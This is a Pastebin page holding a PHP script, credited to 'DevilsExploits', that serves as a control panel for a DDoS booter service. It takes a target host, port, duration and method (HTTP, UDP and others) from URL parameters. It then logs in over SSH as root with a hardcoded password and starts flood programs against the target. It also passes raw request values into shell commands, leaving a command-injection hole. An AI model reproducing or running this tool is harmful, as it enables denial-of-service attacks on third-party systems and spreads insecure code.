Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //API Script Created by DevilsExploits
- ignore_user_abort(true);
- set_time_limit(0);
- $server_ip = "localhost";
- $server_pass = "r00t3r";
- $server_user = "root";
- // End API Keys
- $host = $_GET['target'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- $action = $_GET['action'];
- $user = $_GET['username'];
- $port = $_GET['port'];
- if ($action == "ON") {
- if ($method == "HTTP") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Http $host"; }
- if ($method == "UDP") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Attack $host $port 5 1000 5 $time"; }
- if ($method == "PORN") { exec("screen -dmS $user"); $command = "screen -dmS $user ./Porn $host $port $time"; }
- if(!$port && !$time)
- {
- echo "Attack Sent to $host using method $method -Process ID $user";
- }
- if(isset($time))
- {
- echo "Attack Sent to $host on port $port for $time seconds using method $method -Process ID $user";
- }
- }
- if ($action == "OFF") {
- $command = "screen -S $user -X quit";
- echo "All attacks stopped with Process ID $user";
- }
- if ($action == "SAVE") {
- $command = "killall screen";
- echo "You have killed all running attacks.";
- }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Unable to Execute Command\n";
- } else {
- stream_set_blocking($stream, true);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- fclose($stream);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement